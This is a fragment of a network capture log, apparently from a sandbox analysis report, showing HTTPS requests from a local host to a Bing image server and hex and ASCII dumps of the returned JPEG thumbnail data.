2024-11-27 10:14:34 UTC	16384	IN	Data Raw: ec 79 d1 36 df 33 f0 fe b5 05 9c 5f 6e d4 25 42 ad f6 58 b8 6f 31 bb 8e 9d 39 e6 a9 5b 52 7b 58 a9 e2 18 e3 b6 ba 8e 70 ad 14 72 c6 43 2e ed db 4f d4 75 cd 50 72 04 6b e6 ab 48 aa bf de fb c6 b7 fc 6d 6d 02 fd 9a 28 b7 79 7b 71 b6 4f e1 27 b2 e3 d2 b1 a1 bd 78 ed 7c 81 02 bb 6d c2 b4 8b f3 46 6a a2 ee 8c aa 2b 4d a2 3f 31 fc 96 49 97 c8 0d cc 6c bf 79 bd a8 85 63 b6 92 37 9d 9b 76 dc af ff 00 5e a6 57 95 17 6f 9a ac 55 b1 f3 7c cc df 5a 64 85 20 93 cc b8 83 cc 6f e1 55 6f 95 6a 91 0d 11 bc e8 17 61 45 68 99 b7 fc ab f3 37 af 34 d8 e3 79 fc cf 2d 5b ca dd 9f 95 4b 2a fb 52 48 d1 cb 23 16 95 a3 56 5f f8 0a e2 a7 b7 9e 41 a2 cf 00 f9 55 58 16 6f ef 7f b3 55 6b 22 6f 7d c6 59 a8 59 bc c4 f9 43 30 45 6f bb f8 d7 a8 7c 35 d1 ae 34 db 5d 4a 42 b2 47 71 75 69 fb Data Ascii: y63_n%BXo19[R{XprC.OuPrkHmm(y{qO'x\|mFj+M?1Ilyc7v^WoU\|Zd oUojaEh74y-[K*RH#V_AUXoUk"o}YYC0Eo\|54]JBGqui
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 35 b5 cf 90 ab 16 12 08 97 ee e3 a0 3b bb 57 6f a6 c4 2e 16 7b d4 81 9a e1 b0 66 8d b3 b9 48 f4 5e 9b 4f aa d6 5e a5 0d 85 ee eb 8f b0 c9 ba 4c ac 90 2c 9b 55 8f a9 3f d2 aa 15 22 f6 44 ce 8c 92 b3 38 3b af 0c 5c 26 93 15 c6 99 aa dc b5 c3 7f ac 8d a3 d8 8d ea 37 83 c1 1e f5 95 1a ea 3a 35 d6 cb b8 a7 b5 69 39 69 1b 2d 1b 1f 4c f2 2b d2 a4 d3 64 6d 35 64 11 7d 9a 6f f9 6c ab 96 8e 4c 1c 81 cf dd 3d b3 de a8 fd 9b 5d 13 33 ac 6a ad 2b 1f dd b2 87 5c 76 ce 78 aa e6 d0 c9 d1 5d 8e 7b 49 be d4 96 d6 6b 97 82 3f 26 5f f5 6c ad b9 5b df eb 4e 7d 46 7d 36 d6 29 a4 b3 b9 b7 89 94 08 e6 65 f9 7f 31 c6 6b 73 52 8b 54 55 fb 44 f6 3e 5b 46 c0 79 9e 58 29 19 3d 0e d5 ed fc a8 d1 7c 39 e2 39 55 d2 f2 ce 79 ed ae 98 fe f6 26 0e 8d 8f 54 3c 63 f9 51 ed bb 07 d5 ee b6 39 Data Ascii: 5;Wo.{fH^O^L,U?"D8;\&7:5i9i-L+dm5d}olL=]3j+\vx]{Ik?&_l[N}F}6)e1ksRTUD>[FyX)=\|99Uy&T<cQ9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49795	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:33 UTC	375	OUT	GET /th?id=OADD2.10239360433542_1UJC4903W7XNIUU73&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 10:14:33 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 843567 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 8FC4573518B44C50A50D4DEE2B6CAD68 Ref B: EWR311000106045 Ref C: 2024-11-27T10:14:33Z Date: Wed, 27 Nov 2024 10:14:33 GMT Connection: close
2024-11-27 10:14:33 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 f2 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 31 31 3a 31 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:11:138
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 5b 5b 13 80 c7 53 c4 52 5e f4 1a 7d ff 00 03 0a b1 a5 52 0e 0f a9 7f e0 6c a8 ff 00 0b 74 48 53 4d bb b6 ba d3 ad bf b3 2f 6d ae 65 fd f4 77 10 7c 92 a3 7d 3f 86 ba 7f f9 6d f2 57 0f 6b e3 6f 09 e9 52 ea 57 5e 4e b7 71 06 b3 a8 bd dd cf 95 76 97 3f 64 b8 54 45 66 f2 59 52 48 d1 95 7f e0 55 bb a1 f8 e3 c2 7a c4 d2 7d 96 6d 5a e3 ec f1 fe eb ca d2 5e 6f 33 fb db 19 2b 3c c3 db e2 31 55 2b ca 3a cd b7 b7 57 b9 74 5c 23 05 1b ec 74 30 41 e7 43 ff 00 3d 3c ba f3 2f da 72 ef c6 5a 3f 86 74 5d 7b c1 da c4 da 77 f6 76 ac 91 dc 4b 14 5f be fd ef ee e2 97 e6 e3 e5 f9 ab d1 74 ab 9d 37 55 9a 47 d2 e6 9a e2 38 e3 ff 00 9f 47 87 cb dd fe fe da a1 f1 0b c1 da 97 88 bc 33 ff 00 08 f3 cd 0c 9a 75 e5 cc 29 ab 7e f5 d2 6f b1 6f f3 25 48 9b 1f 7f ee 7c d4 b2 ac 54 f0 18 fa Data Ascii: [[SR^}RltHSM/mew\|}?mWkoRW^Nqv?dTEfYRHUz}mZ^o3+<1U+:Wt\#t0AC=</rZ?t]{wvK_t7UG8G3u)~oo%H\|T
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 37 4f e7 7f ac fb 3f 99 2c 5f eb 36 ff 00 7b fb 95 d6 9a 9a bc 5d d1 8b 4e 2e cc ea 23 8a 3f 3b 7b d9 cd 71 3f 97 e6 49 1f f1 d7 25 e3 8f 16 4f 2e a1 fd 91 04 df 67 b1 8e 4f 2e e6 3b 18 93 fd 21 d7 e6 ff 00 58 df f7 cd 6a 41 e2 a8 ec a1 be bd 7b 39 a4 9e da 3f 33 cb 8a 5f df 7f b9 e9 b6 b8 bf 0e 69 52 3f cf 3f 93 fb bd f2 7e ea 5d 89 fe ed 24 95 c4 dd ca fa 95 f6 a4 f7 72 4f f6 cd 43 fb 56 3f dd c7 fb a4 7f dd 7f 73 fd ba cd b1 8a c2 e2 6b 68 3f e3 ca c7 cc f2 ee 64 fb f3 46 ff 00 c5 f2 d5 df 17 4b b2 d3 7d af fc f4 fd df f7 ff 00 ef aa ab e1 c8 2c 2e 35 6d ef 37 97 e6 7f ac 92 e7 ff 00 1f f7 a7 a4 55 c9 95 9b 3a 1f 0a df 68 b1 5d 5b 5a a5 9e a1 6f e6 7e ee 4b 98 ae fc e7 93 fe fa 55 5f fc 7a b5 27 96 d2 de 19 1e d7 58 d3 f5 1f b4 5b 7f c7 b5 b7 9c ef 24 Data Ascii: 7O?,_6{]N.#?;{q?I%O.gO.;!XjA{9?3_iR??~]$rOCV?skh?dFK},.5m7U:h][Zo~KU_z'X[$
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 0d 7b 4d fb 1c f1 de bc 72 59 5c c4 97 30 fc bf ea e6 59 13 6b 26 e6 fe 3a 9f c5 4a 91 7f c4 d2 d7 52 d4 2e 23 93 f7 77 b6 5e 6a 4d fe b3 f8 9f e6 db f7 bf 8e bb 64 e1 7b c8 23 b2 3b 29 34 88 df e7 b5 9b cc 93 cb f3 24 b6 97 e7 ff 00 81 27 f9 dd 59 b2 45 e5 7c ff 00 be 8f fe ba fd ca c7 d1 f5 38 25 bb f2 20 86 ef 4e ba f3 12 e2 e6 3b eb 4d 89 23 c7 fb b7 5d fb be 49 17 fd 9a eb 27 d4 f6 79 96 b3 fe f2 38 e3 ff 00 9e bb 26 ff 00 73 e7 ac a5 84 84 d2 92 d0 15 93 68 c1 8e da 37 fd fc 10 c3 bf fd 5c 92 45 13 d3 7f e5 8c 88 90 c3 e7 c7 ff 00 3c bf fb 3e 2b 73 cf b4 f2 63 f2 3f 79 1c 92 7e ef ec df 27 f0 6e db b2 b3 e7 8e fe df cb d9 37 da 23 f2 ff 00 7b 6d 2e c4 ff 00 c7 eb 8e 54 5a 7b a2 b9 59 57 6f ee 7f 7f 37 97 27 fd 75 f9 ff 00 f1 ca 6c 70 5a 79 31 ef f3 Data Ascii: {MrY\0Yk&:JR.#w^jMd{#;)4$'YE\|8% N;M#]I'y8&sh7\E<>+sc?y~'n7#{m.TZ{YWo7'ulpZy1
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 7a ff 00 e8 55 e0 4f e2 39 3c 29 a8 49 65 6b a9 6a da ae 9b 1f fc c3 65 8b fe 3d df fd bd db 87 fd f1 f2 d4 17 de 2c b4 4f 2f ec ba 0f d9 e0 f9 24 92 4f 37 64 3b fe f6 df 2f e6 54 ff 00 80 d6 d4 70 12 8a 5c b1 df a9 93 c4 5d de d7 3e 94 f1 c7 fc 2d 0f 0f f8 7a db 54 d0 7e 24 78 df 4e b1 b7 b9 4f b6 db 78 82 d2 da 69 b6 ca fb 15 3e d6 d3 18 fe 56 fe 06 65 6d bd 0d 67 f8 37 e2 a7 c4 2d 6e d2 39 f4 ed 4b e2 6d c5 8d e5 cf 97 1d cd 8c 56 0e e8 ff 00 f3 cf f7 bb 3c c5 ff 00 6d 7e ef ab 57 86 7c 21 f1 dd fe 9b 77 73 be 69 af 63 bd fd df 97 73 fe 93 0d c4 5b f7 3c 6f 13 a9 f9 bf ba ff 00 f2 cf ad 7a 9e 9b e1 cd 37 c6 be 5f 8b b5 ef b5 f8 aa 7d 3e f7 cb 8f 4d b6 b4 4b 84 b0 b0 78 7e 49 ee 6d 77 0f 95 7e 4d f3 c1 fc 55 bd 6f 6d 46 1f bd 97 ce ef fc d7 e2 cd 14 63 Data Ascii: zUO9<)Iekje=,O/$O7d;/Tp\]>-zT~$xNOxi>Vemg7-n9KmV<m~W\|!wsics[<oz7_}>MKx~Imw~MUomFc
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: d8 fd 7b fc fb ab 9a f8 89 65 77 61 69 65 ad f8 e3 58 ff 00 84 76 fb 4e ff 00 40 bd bd b6 d2 9e fa da 4b a8 ff 00 d5 79 9f 37 98 9f bb f9 3e e6 dd d5 ed 3a 6e af ae f9 d1 c9 a8 ea 57 76 f7 77 96 de 7d ce 8b 73 2f c9 27 95 f2 ef 85 7a 3a 7f e8 3b ff 00 d9 ac 5f f8 a6 3c 3b 37 f6 a7 89 ec f5 1d 53 c2 3e 36 33 49 7a 63 b4 9b ed 7e 1a d4 57 e7 f3 76 3e e5 f2 64 5d 9f df 1f ba 4a ca 85 4a b0 de d6 ee b4 7e 7f d5 8e 99 50 8d 38 f9 9e 19 27 85 f4 c6 d1 2f 74 eb 4d 7b c1 36 7a ac 71 25 dc 7a 8e 9b aa dc b5 cd dc 1f eb 7e 45 65 10 f2 bf 31 8f ef 54 37 9e 23 f0 b6 b1 a8 c7 a7 f8 d3 ce b8 d4 7c af 33 fe 12 bd 12 67 d9 a9 ee fb b2 5c c4 ff 00 37 99 fc 26 45 ff 00 81 2d 49 e3 15 b4 b4 ba d4 93 4e 87 4f bd b1 d2 b5 67 b7 b6 f2 a1 78 6e 7e cf fc 33 79 4b f2 7f ec bf bc Data Ascii: {ewaieXvN@Ky7>:nWvw}s/'z:;_<;7S>63Izc~Wv>d]JJ~P8'/tM{6zq%z~Ee1T7#\|3g\7&E-INOgxn~3yK
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 5a 84 94 a1 cb 7b e8 cf 95 35 2f 22 1d 3f 7c 10 fe ef fe 3d fc bf 37 7b ff 00 bd 50 6a b2 fe fa 37 49 a1 92 3f 2f f7 7f ba fe f7 fb 35 a3 f1 1a da 3d 33 c5 9a b6 97 fe 89 1c 76 fa 95 cc 7e 5d b4 bb d3 e5 7d bb 37 57 3f e6 c6 ff 00 24 16 7f b8 ff 00 d1 75 ec c6 d2 8f 32 3c a9 45 c6 4d 33 52 fa 08 e2 f2 dd 26 86 49 e4 ff 00 9e 5f 73 63 7d da d1 b1 d3 27 bd d3 ee 75 77 bc 8b ed 56 5f e9 16 51 cb 12 7f a5 ff 00 b1 b7 f8 17 d2 b3 b4 ab 19 1e 1f b5 7d 8e ee 4b 5f f5 77 32 5b 7d ff 00 f6 95 2b 53 52 9f 45 bb d3 f6 69 d3 6a 3e 45 bc 89 e5 db 5f 7d cf f6 93 e4 ff 00 be ab 19 54 69 d9 0a 4d da d6 08 fe 2b 78 86 ee 6b 6f b5 59 ff 00 a2 ff 00 ab bd f2 a2 d8 97 09 ff 00 b2 d1 e2 6d 3e d3 c4 7a b5 cc fe 1e 87 4f b7 b5 b8 b9 f3 2d a4 97 f7 2f ff 00 5c b7 7d d7 ae 73 ec Data Ascii: Z{5/"?\|=7{Pj7I?/5=3v~]}7W?$u2<EM3R&I_sc}'uwV_Q}K_w2[}+SREij>E_}TiM+xkoYm>zO-/\}s
2024-11-27 10:14:34 UTC	16067	IN	Data Raw: f0 ee b7 65 3e b1 35 bc 7a 8d 94 d1 ea 56 d1 4b b1 2e 2c a3 4f b4 fc ac ff 00 ed 7f 0a fd ef 5a 72 8a be a8 b4 f4 68 f3 cb ad 52 e2 78 f6 cd 3d a8 f3 23 f2 24 22 d1 13 7a ff 00 b7 fe 35 02 79 71 7c 89 e7 79 72 7f 9f 92 a4 ba 6b 44 9b cf b2 ff 00 48 8f fe 9a c5 b1 ea 68 e4 ff 00 89 1d cd af 93 e6 49 e6 24 96 df df 8d ff 00 dd ab 8c 52 31 69 5c 76 aa b7 7a 7f 97 a7 fd b3 cb 8f cc fb 45 b4 91 7f b5 fe d5 57 d1 f4 c9 ee 2e fc f9 ff 00 79 1c 77 29 e6 7f d3 4a b5 1c 57 da c5 ac 9f e8 73 79 96 ff 00 ea e3 8a ba 6f 0e 68 71 db da 58 d9 5e e9 b7 72 7d a2 47 fb 4f 95 fd cf fe 28 7f e3 d5 5a 9a 5a e7 41 1f 87 20 bb 9a fa f6 f6 f2 69 20 8f 7d bd b5 b4 b2 fe fa 3f 93 7e d8 ff 00 bf 5e 65 7d 6d 1c 5a 86 a5 03 c3 f6 29 3f d5 c7 1c bf 7f 65 7b ae ab 69 f6 bf 06 d8 e9 df Data Ascii: e>5zVK.,OZrhRx=#$"z5yq\|yrkDHhI$R1i\vzEW.yw)JWsyohqX^r}GO(ZZA i }?~^e}mZ)?e{i
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: f6 bf bd 5e 7d a5 58 cf a8 6a 11 da da c3 f6 89 e4 97 cb 8e 38 be fc 95 d3 4f 6d e5 43 25 96 b7 0c d6 f3 c9 1f 97 e6 c7 2a 3f 98 eb fd d7 a2 f6 5a b1 9b df 0f 75 cb 4b 8f 16 5c de eb 70 cd 24 7f 66 9a 38 e3 fb 27 9d f6 cf 33 e4 d9 fe f2 7f ac 1f c5 f2 57 7f e2 fd 68 6b 7f 09 3c 63 e1 df 11 6b 1f da b7 5a 7f 86 3c fb 9f f4 57 67 b3 d4 ad b5 0f dd 6d f3 3e 74 dc 92 3e ec b7 f1 d7 8a e8 ed 25 94 d6 de 7d e7 ee 3c d4 93 fd 6e ff 00 9d 7f 89 76 d7 b8 f8 6f 4c d3 25 f8 19 e3 67 49 be d3 fd b5 a2 df c9 2e ad f3 cd 71 f6 d8 b6 4b b3 77 46 85 e1 eb fc 5e 65 79 b8 88 c7 49 ae eb f3 3b 28 c9 b8 b5 dc f9 72 36 82 e2 6f f5 3f bc ff 00 9e 75 e8 7e 07 b3 bf b7 d2 6c 6e a0 d1 fe db 25 bc 9f 68 f2 e2 ff 00 8f 98 e2 5f e2 5f f7 6b 8d d3 6d a4 96 68 d1 21 f3 3c c8 fc ca ea Data Ascii: ^}Xj8OmC%*?ZuK\p$f8'3Whk<ckZ<Wgm>t>%}<nvoL%gI.qKwF^eyI;(r6o?u~ln%h__kmh!<
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: e9 d7 50 da 59 7d 8b fe 3d af 65 bb 7f 3a e3 fd af bb b6 ab 11 5b 11 2a 69 7b 3d 3f 21 72 c3 73 5b 5c 6d 0a ee ef fb 53 fb 1e d2 e2 fa 48 d2 d2 4b 2b 9b 47 d9 1f 95 f2 c7 e5 b6 ef ee fc df ed 56 76 ab 7d e3 38 b5 0f 3e 7f b2 79 97 11 fd 93 fd 1a 5f 9f ca 5f 9b 63 4a bc 3d 62 da fc 41 9f fe 3d 67 9b ed 10 7f d8 3d 36 7c df dc df f7 2b b8 f0 ce 87 fd a1 a7 db 6b 76 ba c4 3f 61 93 c9 8e 48 e5 b4 4f f8 16 c8 7f bb 5e 7d 69 d5 a4 bf 7b b7 99 52 8a 69 24 89 34 a9 74 dd 33 49 93 ec b7 90 dc 79 92 7d ae da da e6 57 79 be 64 ff 00 9e ab b7 cd f5 ff 00 66 9f 3d b6 85 e4 df 6b d7 53 43 71 05 bc 7f f2 cf e7 b8 93 fe ba 22 7c bb 7c ef bb 96 de ca 95 43 5c b6 d2 6e 3c c9 e0 9b ed 17 5e 63 c9 27 9b 2f fd fb ff 00 80 fa d7 39 e3 8d 3e d2 f6 5f f8 4a 2d 7c 55 77 a5 5f 79 Data Ascii: PY}=e:[*i{=?!rs[\mSHK+GVv}8>y__cJ=bA=g=6\|+kv?aHO^}i{Ri$4t3Iy}Wydf=kSCq"\|\|C\n<^c'/9>_J-\|Uw_y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49793	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:33 UTC	346	OUT	GET /th?id=OADD2.10239360432410_1ZT9L3WG863INPZDE&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 10:14:34 UTC	861	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 435187 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: FB7D9B1E865C471D99509B18626CF265 Ref B: EWR30EDGE0409 Ref C: 2024-11-27T10:14:33Z Date: Wed, 27 Nov 2024 10:14:33 GMT Connection: close
2024-11-27 10:14:34 UTC	3517	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 36 20 32 31 3a 35 31 3a 31 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:26 21:51:178C
2024-11-27 10:14:34 UTC	8192	IN	Data Raw: f3 05 9a 23 c5 2e df 6a 91 46 ea 31 4a e3 e5 64 7b 7d a8 db ed 52 2a 50 a1 68 b8 72 be a4 7b 7d a8 db ed 52 6c a3 65 34 c5 69 11 ed f6 a3 6f b5 4d e5 d3 76 53 b8 f9 64 47 b7 da 85 1b aa 4d 8b e5 d3 b6 d1 70 e5 64 58 a3 14 f5 4a 77 97 fc 54 89 e5 6c 85 46 da 5c 54 be 5d 1e 5b d0 1c ac 8f 65 26 29 fe 5d 3b cb a0 39 48 b1 49 b7 da a6 db 4d d9 40 72 8d c5 26 2a 5d b4 6d a0 39 48 f1 46 2a 6d 94 dd b4 ee 3e 42 2c 52 6d f6 a9 b6 d1 e5 b3 73 45 c9 70 b9 5f cb a6 b2 35 58 64 a4 c5 3e 64 4b 81 5b 6f f1 35 1b 6a c6 ca 4c 53 4e e1 ca 44 a9 45 4b 8a 5d 94 5c 2c 44 a9 4e c5 48 ab fc 54 ab 1d 17 42 e5 22 c5 2e df 6a 93 cb fe ed 48 b1 a5 2e 61 a8 36 45 8a 5d 95 2a aa ad 2a a7 f7 6a 79 8d 39 48 76 50 c8 b5 3e d4 f5 a1 53 6d 2b 8f 97 b1 06 cf e2 a7 6c dd 53 6c 4a 6b 25 2e Data Ascii: #.jF1Jd{}RPhr{}Rle4ioMvSdGMpdXJwTlF\T][e&)];9HIM@r&]m9HFm>B,RmsEp_5Xd>dK[o5jLSNDEK]\,DNHTB".jH.a6E]*jy9HvP>Sm+lSlJk%.
2024-11-27 10:14:34 UTC	4144	IN	Data Raw: f1 2e 98 b3 dc 2c 37 70 4a b1 27 c9 f3 fd f9 3a ec ab da 0d dc b7 76 e9 71 37 98 ad 3a 6e 44 d9 f2 a2 fd 68 e6 13 7d 99 72 8a 5c 51 b2 86 c3 99 09 4b 8a 55 14 b8 a7 72 6c 37 14 62 9f b7 da 97 a5 2e 61 f2 91 52 e2 9e a6 9c c9 47 30 72 90 d2 e2 a5 64 a4 c5 1c c8 4e 2c 8a 97 15 2e ca 19 68 e6 1f 2b 22 c5 18 a9 b6 52 32 ed a3 99 07 b3 64 58 a3 15 32 ad 1b 16 97 32 0e 56 47 8a 6e 2a 75 4a 36 52 e6 42 e4 64 18 a3 65 4f b2 93 65 3e 6b 0d c6 44 4c 29 31 53 f9 6b 47 97 47 32 0f 67 22 1d 94 6c a9 96 3a 3c ba 5c e1 ec e4 43 e5 d1 e5 d5 86 4f dd d1 b6 8e 76 52 83 2b ec a3 cb a9 99 29 db 68 e6 64 f2 32 be ca 77 97 fd da 9b 6d 0a 94 b9 99 5c ad 10 aa 7f 7a 9c a9 52 6d a1 56 8e 66 0a 2d 11 79 67 d6 9c b1 d4 aa 94 b8 a5 cc c6 95 fa 11 6c a3 67 d6 a5 c5 3b 15 3c c5 68 44 Data Ascii: .,7pJ':vq7:nDh}r\QKUrl7b.aRG0rdN,.h+"R2dX22VGn*uJ6RBdeOe>kDL)1SkGG2g"l:<\COvR+)hd2wm\zRmVf-yglg;<hD
2024-11-27 10:14:34 UTC	8192	IN	Data Raw: db fe ed 13 5d ff 00 a7 24 8b f3 48 af fb e4 7f bb b5 aa ee ac 15 a4 f3 a1 f9 55 53 ef ef fe 11 f7 76 d7 a1 4a b7 b1 b4 5c 56 a7 9b 57 0f ed b9 a4 a7 66 74 96 3f b4 37 8f 7f b0 df 4d d5 24 82 e9 a5 9b e7 bb d9 b6 5d bf dc f4 a8 74 bf 1c f8 73 54 82 69 2f a7 76 bc 69 be fe a3 f7 b6 fd 45 71 37 16 50 37 cd 27 cd 25 c3 ee 7f f6 3f da a9 bf e1 10 9e ea 0f b4 5a c9 e6 ae cf 9f e4 fb ff 00 4a db 10 b0 35 ad ce dc 4e 5c 34 b1 b8 7f 76 11 53 5f 8f e0 7a 1b 6b b6 31 4f f6 7b 5d 4e ea 58 76 6d fd cd d6 d5 45 3d aa 0b af 18 2c 72 24 36 32 5f 4a c9 f3 3b cd 3b 6d 4c 7d 2b cc 75 8f 0f 5d 58 49 fe 8f 24 8a db 3e 74 ff 00 6a b2 ae ae 75 2b 07 f2 6e 24 91 69 51 ca a9 55 b3 85 4b 9a 56 cd dd 27 6a b4 9c 7f 13 d1 af 3c 77 7d 2c 8e b2 5d dd 44 df 7b 66 f6 fc eb 16 eb c5 f2 Data Ascii: ]$HUSvJ\VWft?7M$]tsTi/viEq7P7'%?ZJ5N\4vS_zk1O{]NXvmE=,r$62_J;;mL}+u]XI$>tju+n$iQUKV'j<w},]D{f
2024-11-27 10:14:34 UTC	8192	IN	Data Raw: 23 69 3e 56 4d d5 9d a6 bf 93 e2 04 f2 e4 dd 1c 4f bb e7 a9 a3 52 53 9d 9b d4 ce 71 e5 e8 7a 0d ba 4b 6b 62 f0 f9 9f 2a fc b4 b2 5e cb f2 c3 1f fc 0e a9 df 6a 31 2d 8e ef e1 97 ee 3d 50 d3 f5 05 82 44 56 92 49 7c d7 f9 11 eb d3 9d 45 75 1e 87 3a 4c e9 2c df 72 27 f0 ed fe 0a b2 af ba 37 59 24 fb df dc aa 50 88 92 34 85 7e f5 4f 6e 15 24 fd e7 dd ff 00 62 ba a3 66 89 e5 b1 2c 61 96 3d be 67 ca d4 b1 89 1f e6 6f ba b4 ac 77 6c dd fc 34 ef 9b ef 2c 94 73 58 5c b7 2e 69 77 b7 d6 71 ba da cf 27 96 df dc a9 a3 d6 75 56 91 1a 3b f9 e9 9a 5c 57 37 12 79 36 70 48 d2 37 fb 15 d2 68 7f 0d fc 51 7f b2 66 82 3b 38 d9 fe fc df 2e ca f3 71 55 b0 54 5b 95 77 14 fc cf 53 0b 4f 1b 55 28 50 e6 7e 87 2b a8 3c f7 b2 3c 97 1f 34 95 53 7f f0 d7 ad 69 7f 0a 2d 1a d6 6f ed 0d 76 Data Ascii: #i>VMORSqzKkb*^j1-=PDVI\|Eu:L,r'7Y$P4~On$bf,a=gowl4,sX\.iwq'uV;\W7y6pH7hQf;8.qUT[wSOU(P~+<<4Si-ov
2024-11-27 10:14:34 UTC	8192	IN	Data Raw: fe f2 45 8f 67 f7 2b df ff 00 e1 12 d2 9a f9 2f 2d e7 fb 44 92 a6 e7 fe 25 87 e9 ef 5c 7f 89 bc 1b a5 5e 7d a2 68 f5 9f b3 ae f6 ff 00 96 7b b6 2d 7d 36 5f c4 14 dc 5d 2a b2 72 6b 77 6f f2 3e 73 1d c3 f5 12 e7 a5 1b 27 b2 bf f9 9e 03 7d 24 b0 4f b5 a4 93 6f f0 55 49 bf 82 4f e1 ae bf e2 47 86 a0 d3 6f 92 3b 5b f8 ee a1 64 dd f2 7f 05 73 f0 c5 11 fd cb 7c d5 f4 b4 2b 53 a9 05 28 9f 27 5e 95 4a 33 e4 a8 ac cc f5 f9 60 65 f2 f7 55 68 e3 95 fe 5f e1 ad cf 2f 6c 7e 4f fe 81 fc 15 4f 54 0c bb 3c 9f bb 5d 2a dd 0c b7 29 c9 03 08 fc b6 7d db 6a 58 f6 ec da d2 6d db fc 14 9b 97 ef 51 31 57 7d be 5e dd bf c7 56 98 8b 73 3b 41 1a 47 9f 95 a9 16 0b 96 9b 73 5b c8 aa df c7 57 ac 4e cb 54 6f bc b4 ad 73 fc 3f c3 59 4e ab 5a 58 d3 96 e5 06 2c d2 3b 37 fd f1 56 2c ce c9 Data Ascii: 